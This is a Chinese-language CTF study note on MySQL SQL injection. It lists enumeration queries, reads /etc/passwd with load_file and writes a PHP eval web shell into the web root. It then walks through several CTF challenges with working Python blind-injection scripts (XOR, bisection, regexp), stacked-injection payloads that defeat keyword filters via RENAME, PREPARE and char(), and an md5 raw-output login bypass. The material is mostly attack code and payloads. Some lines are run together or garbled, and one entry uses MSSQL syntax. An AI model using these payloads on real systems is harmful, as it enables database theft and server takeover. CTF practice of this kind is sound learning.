对于MySQL知识的一个初总结
1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只过滤了select,那么我们可以用Select进行绕过。
2.mysql默认端口3306
3.mysql各个数据库的作用
(1)information_schema:
此数据库是一个信息数据库,保存了所有数据库的信息。
1.显示当前用户:select user();(current_user)
2.显示当前数据库版本:select version();
3.显示当前数据库名:select database();show databases;
4.爆破字段数: order by
5.查看显示位:select 1,2,3,4,5
6.联合查询:union select 1,2,3,4,5
7.查询数据库名:select group_concat(schema_name) from information_schema.schemata
8.查询数据表名:
select group_concat(table_name) from
information_schema.tableswhere table_schema='库名'
9.查询字段名:select group_concat(column_name) from
information_schema.columnswhere table_name='表名'
10.读取特定行:select * from mysql.user limit n,m
11.读取文件:select load_file('/etc/passwd')
12.写入文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'
13.判断此处有无注入点:利用and1=1和and1=2来进行分析
14.猜解表名:and (Select Count(*) from [表名])>=0
15.猜解字段名:and (Select Count([字段名]) from [表名])>=0
16.猜解字段的长度:and (select top 1 len(字段名) from 数据库名)>017.创建一个数据库:create database ybyy;
18.创建一个带字符的类型的数据库:create database mydb2 CHARACTER SET=utf8;19.删除数据库:DROP DATABASE ybyy;
20.修改数据库编码:ALTER DATABASE ybyy character set gbk;
21.选择数据库:use database;
22.查看表结构:desc tablename;
23.查看数据库创建语句:show create database databasename;24.查看系统用户名:system_user()
25.查看连接数据库的用户名session_user()
26.读取数据库路径:@@datadir
27.读取安装路径:@@basedir MYSQL
28 操作系统:@@version_compile_os
什么叫盲注?
不会返回数据库内建的报错信息。而这些报错信息是我们普通SQL注入漏洞判断的依据。我们无法依据服务器的返回值来判断,我们可以依据两次执行的差距来判断,可以依据基于逻辑的真假来判断。
[极客大挑战 2019]FinalSQL题目给了提示,Python写sql盲注脚本
点击1:
可以看到这里是有waf的!
在这里在测试一下id=0
在这里就可以判断为布尔盲注。测了一下,这道题可以用异或注入来做。这里先来简单讲一下,1^0=11^1=0下面直接上payload:
利用二分法脚本来题提升盲注速度,因为后期中很多题型都需要到二分法爆破脚本,因此在这里解释的详细一点,以后的二分法脚本便不作详细解释。二分法:顾名思义,即为一分为二的方法。把答案所在的区间逐渐缩小,直到区间内有一次正确答案,就可以跳出一次循环。
在sql注入中,我们经常使用ASCII来对其进行便利,因此我们一般设置最大最小low=32,high=128。设置这两个值是因为在这期间基本包含了sql注入中password字段,但是也不免会有一些出题人喜欢出稀奇古怪的题目,这种题目我们不便理会。使用二分法来进行爆破的原因是:二分法比普通遍历效率要高很多。原理:每次爆破都是区间的中间值,如果中间值大于给定数字,那么下次爆破就是前半部分的中间值数字;如果中间值小于给定数字,下次就爆破后半部分的中间值数字。
那么接下来就可以分析一下EXP了:
import requests
url = "http://71eccd97-48cc-4534-b840-4ff5e336a0ad.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
key = ""
for i in range(1,1000):
low = 32
high =128
mid = (low+high)//2
while(low<high):
#库名
temp["id"] =
"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schem
ata)),%d,1))>%d)^1" %(i,mid)
#表名
#temp["id"] =
"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables
)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
#字段名
#temp["id"] =
"1^(ascii(substr((select(group_concat(column_name))from(information_schema.colum
ns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
#内容
#temp["id"] =
"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %
(i,mid)
r = requests.get(url,params=temp) print(low,high,mid,":")#在这里打印爆破的过程
if "others" in r.text:#这里做一个判断,有回显位的字段是:click others,无回显字
段是:ERROR!! 这个在上面的异或语句已经分析到了
low = mid+1 #如果成立,那么mid+1,就是爆出的回显位
else:
high = mid#如果不成立,那么继续用二分法进行搜
mid =(low+high)//2
if(mid ==32 or mid ==127):#如果当mid=32或者mid=127时说明,已经把所有的字段都爆完了,
就跳出循环
break
key =key + chr(mid)#每爆出一位就对其进行加和,最终key就是爆出来的完整字段 print(key)
[BJDCTF 2nd]
现在的BUU已经禁止扫描了,只能用常用的目录自己测试,这里测试robots.txt出现了提示
接着进入hint.txt中
select * from users where username='$_POST["username"]' and
password='$_POST["password"]';
这里我们构造:select * from users where username = 'admin' and password = 'or 0#'
发现这里也是You konw ,P3rh4ps needs a girl friend接着我们构造:
payload:select * from users where username = 'admin' and password = 'or 1# '
我们可以这样理解:
select * from users where username = 'admin and password=' 注入代码#'这样就实现了'的逃逸
那么之后再加上regexp就可以写盲注脚本了:
import binascii,requests
import string
zidian=string.ascii_letters+string.digits
print(zidian)
url='http://6d5a948a-bc60-439b-82bf-b70ba32509d5.node3.buuoj.cn/index.php'
key=''
while 1:
for i in zidian:
ybyy='^'+key+i
data={
'username':'younotgf!\',
'password':'or password regexp binary
0x{}#'.format(binascii.b2a_hex(ybyy.encode()).decode())
}
res=requests.post(url,data=data).text
if 'stronger' in res:
key+=i
print(key)
break
可以发现这里跑出了密码,输入用户名和密码即可拿到flag
堆叠注入的定义stacked injections ,顾名思义,就是多条语句一起执行。
堆叠注入的原理在SQL语句中,分号(;)代表着一句sql语句的结束,如果;后面紧接着一条语句,那么是会一起执行的。但是堆叠注入的成功执行是需要很多条件的,一方面是API接口与数据库引擎不支持的限制,还有一方面是权限的限制。
堆叠注入与Union联合注入是不同的,union后面的语句只能是用来执行查询语句,但是堆叠注入后面可以执行任意语句。堆叠查询的解法有三种,下面在题目中会一一讲到。
[强网杯 2019]
随便注打开题目,出现此页面
先来手测一下:payload:1' or 1=1#!
利用万能密码,发现是可以出东西的。接下来我们先用order by 测一下此数据库有多少列payload:1' order by 1#
这里发现了,是有两列数据。根据做题的思路,下面要查看哪个是显示位:payload:1' union select 1,2#
这里发现了过滤的函数:
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
做到这里就知道是堆叠注入了,因为Rename,PREPARE,set等函数均未被过滤。
下面我们来尝试堆叠注入:payload:1';show databases;#
可以发现是可以查询出数据库的,接下来又是走流程:payload:1';show tables;#
得到了两个表:1919810931114514和words 先查看words表中的内容payload:1'; show columns from words; #
继续查询另外一个表:payload:1'; show columns from 1919810931114514 ; #
可以发现这里有flag字段。但是前面已经爆了,select等函数均不可使用,需要绕过,再写绕过之前,这 里先插入一个知识点:为什么mysql数据库中要用``(反引号)。
mysql中``用法
在linux中是不区分``和''的区别的,但是在windows中区分,这里可以发现,payload:1'; show columns from 1919810931114514; # 是没有回显的。
这里来说明一下原因:在mysql中查询纯数字和关键字的列名、表名时必须加
纯数字也是同理,show columns from 1919810931114514也是不会出结果的。这里也提示大家做列名和表名的时候不能用mysql中的关键字。
堆叠注入解题的三种姿势可以看到1919810931114514这个表中有flag字段,我们接下来的任务就是要如何查看flag字段中的内容。
第一种姿势:
重命名payload:
1';RENAME TABLE `words` TO `web_ybyy`;RENAME TABLE `1919810931114514` TO
`words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8
COLLATE utf8_general_ci NOT NULL;show columns from words;#
这个的解释就是:
把原本words表重命名为web_ybyy表名,把1919810931114514改成words名,之后 利用alter table 修改words原本的表结构,最后利用show columns from words;进行输出。最后利用万能公式出flag:payload:1' or 1=1#
第二种姿势:
预处理绕过selectPrepared Statements 的作用:当某一条语句反复被运用的时候,预先编译好会加快 执行速率。一次编译,多次运行,当然在这里主要还是为了绕过select函数 语法:定义预处理:PREPARE 定义的名字 from 要定义的语句执行:
EXECUTE 定义的名字 payload:
1';PREPARE web_ybyy from concat('s','elect', ' * from `1919810931114514`
');EXECUTE web_ybyy;#
预编译的第二种方式:
利用char()对select进行绕过,在mysql中 char(115,101,108,101,99,116)--->select payload
1';PREPARE web_ybyy from concat(char(115,101,108,101,99,116),' * from
`1919810931114514` ');EXECUTE web_ybyy;#
这类题是套路题,突破点在于sql查询的一条语句: 可以看到pass字段做了md5加密,sql注入的灵魂在于如何闭合,这类题也不例外。ctfshow web9:首先利用dirsearch进行目录扫描
提示了index.phps,我们把它下载下来
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password
='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
?>
这个就是源码了
其他sql注入与md5的组合
`mysql_num_rows() 返回结果集中行的数目,这里判断大于0可过check主要点在这里, password ='".md5($password,true)."'";
md5()函数两个参数:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数,这里我们进行了测试
payload1:129581926211651571912466741651878684928
payload2:
ffifdyop
username ='admin' and password =‘ ’or 'xxxxx'构造成这个类型的语句就可过check直接打,出flag
MYSQL注入bypass方式太多,大赛能学习到很多绕过姿势。慢慢收集整理吧。